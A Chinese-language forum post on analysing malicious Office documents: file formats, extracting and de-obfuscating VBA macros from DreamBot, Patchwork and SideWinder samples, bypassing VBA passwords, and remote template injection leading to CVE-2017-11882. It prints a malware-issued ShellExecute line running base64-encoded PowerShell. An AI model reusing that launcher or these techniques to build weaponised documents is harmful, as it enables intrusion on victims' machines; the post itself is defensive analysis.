就目前来看,非PE的恶意攻击已经越来越多了,主要是利用office这一套,最近也看了一些,就写一点记录一下。
自office207开始,微软提出了一种新的文件格式为OpenXML(OOXML),所有word、excel、ppt默认都是OenXML格式的。还有一种比较老的格式(97-03)是OLE,关于OLE后面会详细介绍。
先来看看OpenXML格式,正常情况下说该格式的office文档可以当成一个压缩包解压,以一个word文档为例子,压缩包内容一般如下:

该文件描述了整个文档内容的类型,把各个xml文件组合成了一个整体。
该文件会包含包中素有的部件的内容类型和列表。
这个文件夹中的xml记录了office文档的主要属性信息
主要是有两个文件:

app.xml:描述文档的类型、版本、共享信息、安全属性等。

core.xml:描述文件的创建时间、标题、主题和作者等通用属性。

存放所有指定的rels文件

.rels通常是描述文件结构中的起始关系,也就是说该文件用于定义其他部分与包外资源间的关系。也被叫做关系部件
word文件夹是文件的主体部分,内容大概如下:

之前已经说了,07版本之前的office文档可以格式主要是ole,07版本前的office文档十六进制显示如下:

而07版本后的OpenXML,更像是一个压缩包,查看十六进制数据可以看到PK标志:

office宏应该算是最多(也算是比较简单,直观的内容了)
这里是找到了一个DreamBot僵尸网络的样本:
912a487711217f214746a3e677e2bf32
开启宏之后:

这个时候就可以通过oledump来dump出宏代码。
oledump下载地址:610K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3f1#2x3Y4m8G2K9X3W2W2i4K6u0W2j5$3&6Q4x3V1k6@1K9s2u0W2j5h3c8Q4x3X3b7&6x3U0p5^5y4U0S2Q4x3X3b7I4i4K6u0V1x3g2)9J5k6h3S2@1L8h3H3`.
使用方法:
首先可以直接通过oledump.py 目标文档.doc 分析出所有的代码段

然后可以通过oledump.py -s 段名 -v 目标文档.doc 将制定段的VBA代码提取出来(以xoTBoFzBdrgAzy1pbO为例子):

也可以在s后面跟上a参数,表示all,将所有的VBA代码解析出来,然后通过 > 文件名将结果写入到文件:

现在就可以分析这个VBA代码了:

这里的代码带混淆,而且很长,所以可以调试来解决,但是这个程序对调试进行了处理,当宏启用之后,就会提示word停止工作,根本不能调试宏,我再网上找了好久也没有找到合适的方案。

最后想到了一个还算有用的解决方案,就是根据word的执行顺序来使得word不马上加载宏
打开该样本的时候不断按F5,打开样本就会中断在如下界面:

这个时候点一下后面的文档内容,然后alt + F11 打开宏窗口:

现在就F8进行单步调试了。
然后写一下自己调试带混淆宏的思路
现在单步执行进来停在了函数OWlEmUVvwQl

然后这里传递了多个数字作为参数到gzPB函数中,查看一下gzPB函数功能:

可以看到函数的关键功能在这个For循环
RlHKDeQP的值从1到传进来参数的长度,每次自增2
然后RlHKDeQP会作为Mid函数的参数对传递进来的值进行分割
FUduorb = Mid$(BlWMlTlXnkR, RlHKDeQP, 2)
然后对Fuduorb进行处理:
AIHfEQdyA = AIHfEQdyA & Chr(Val("&H" & FUduorb))
最后得到AIHfEQdyA的值:"dxiMMtu"
所以这个gzPB函数的功能就是对传递进来的参数进行解密。
选择性的跳过,然后一步一步的跟进,最后可以得到函数调用链:
OWlEmUVvwQl->hMkbDVHtbVDDttEFUWEw->dTkPsYjiXXQJXW->DqfHVjrOSVaMrAFy->MsgsyIxLElHPXcNOFMo->UoOLrJw->JFJdZo->VtrbNDgItpnfKpgAqPml->ybCDhfHLopdFPWTjmLZoUbw->FzjyS->RVThCUH->IFSeOhWOWEpX->azriOHXmFqMfPRlfDlP->LSxrp->CADXqENsQRQthfrBXvpswgqkC->lDqTvcg->MOvSslUFTPZuhCliOUXc->oVBCPDmxRv->BnqSmevUUSPyaWQ->jJPulneBpTF
一直跟进来,最后会调用jJPulneBpTF,在改函数中利用ShellExecute调用Powershell执行命令:

根据下面的值可以提取出该条指令:
lpZlNxkkO.Document.Application.ShellExecute powershell.exe -enco JAB4AG4AcQBnAHcAcQB6AG0AeABhAHUAcAA9ACIAbQB6AHIAbgBlAHoAIgA7AAoAJAB0AHMAaQBkAHMAdQAgAD0AIAAiAEkAaQBSAFAAcgB3AFYARgAiADsACgAkAGgAZQBlAHkAZQBlAHAAeQB1AGUAPQAiAGgAcwBpAGsAcgBrAGgAdwBiAHkAbwBrAGoAcwBlACIAOwAKAGYAdQBuAGMAdABpAG8AbgAgAGEAYQBpAHIAZwB0AHcAaABuA
接着看ShellExecute后面的部分

可以手动加代码得到后面部分的输出结果:

上面这一大部分分析的都是sohkywrsn模块的内容,接下来用同样的方法分析其他模块的内容和调用关系就可以了。

带密码的宏一般来说有两个工具可以绕过。
以之前分析过的一个样本Lazarus_6850189bbf5191a76761ab20f7c630e举例。
打开样本宏窗口:

我第一次用的工具是aopr,吾爱下载地址:8b2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3f1#2x3Y4m8G2K9X3W2W2i4K6u0W2j5$3&6Q4x3V1k6X3L8%4u0#2L8g2)9J5k6i4m8Z5M7q4)9K6c8X3#2G2k6q4)9K6c8s2k6A6k6i4N6@1K9s2u0W2j5h3c8Q4x3U0k6S2L8i4m8Q4x3@1u0@1K9h3c8Q4x3@1b7%4x3U0t1&6z5e0W2Q4x3U0k6S2L8i4m8Q4x3@1u0H3j5h3N6W2i4K6y4p5x3g2)9J5y4X3q4E0M7q4)9K6b7X3q4#2N6r3S2G2M7X3W2V1i4K6y4p5y4K6V1$3y4e0j5H3
这个工具使用比较简单:
首先选择文件路径,然后直接删除VBA密码就可以了。

再次打开样本,ALT+F11打开宏窗口:

直接单击确定即可。

还有一个常用的工具是:VBA_Password_Bypasser。
以APT组织摩诃草近期的一个攻击样本0D38ADC0B048BAB3BD91861D42CD39DF为例。
打开文件之后内容如下:

启用宏发现只有1行代码,就是将这张模糊的图片删除,显示清晰的图片

所以该样本应该不是宏代码利用,尝试从其他思路想办法。
解压该文档,然后在:0D38ADC0B048BAB3BD91861D42CD39DF_w32time\xl\embeddings路径发现了ole:

这里还有bak,可能是攻击者忘记删除的备份。
查看该ole的十六进制数据:
可以看到在Offset00001000的地方貌似有shellcode

提取出来保存为二进制文件到IDA里面分析:

可以看到这里是首先给v2设置偏移为a2+1368,然后修订前两个字节为MZ,结合之前在shellcode下面看到的不完整PE,这里应该就是修正PE头。

接着往后看,是指明了一个路径%appdata%\MSBuild.exe
最后的call sub_244看参数应该是CreateFile文件

由于之前已经运行过了该样本,所以直接查看%appdata%路径:

MSbuild.exe已经释放到%appdata%处了
关于这个Msbuild的分析以及该样本的完整分析之后写在其他文档里。
以SideWinder APT的一个新样本为例:9b1d0537d0734f1ddb53c5567f5d7ab5

7z打开,看样子应该是的docx文档
可以看到有一个正在下载:7c7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6o6q4Q4x3X3c8T1K9h3&6Q4x3X3g2F1k6i4c8Q4x3V1k6A6L8h3q4Y4k6i4y4Q4x3V1j5J5b7U0M7I4y4$3f1&6z5q4)9J5c8W2)9J5k6o6q4Q4x3V1j5I4x3W2)9J5k6g2)9J5k6g2)9J5k6g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4W2)9&6x3#2)9^5c8q4!0q4y4q4!0n7c8q4)9&6b7H3`.`.
这应该算是比较典型的模板注入了

解压该样本,按道理来讲可以在word/_rels目录下的document.xml.rels文件中找到该完整请求:
dabK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6o6q4Q4x3X3c8T1K9h3&6Q4x3X3g2F1k6i4c8Q4x3V1k6A6L8h3q4Y4k6i4y4Q4x3V1j5J5b7U0M7I4y4@1f1&6z5q4)9J5c8W2)9J5k6o6q4Q4x3V1j5I4x3U0f1%4x3g2)9J5c8U0c8U0y4K6V1@1y4$3g2U0i4K6u0r3L8h3q4A6L8W2)9J5k6h3k6A6L8r3g2Q4x3X3g2J5N6r3j5`.

过滤一下网络,访问该地址,下载main.file.rtf到本地

app.any.run沙箱跑一下可以发现是利用公式编辑器漏洞的rft文档(CVE-2017-11882)

[培训]科锐逆向工程师培训第53期2025年7月8日开班!
最后于 2019-11-21 15:01
被jux1a编辑
,原因: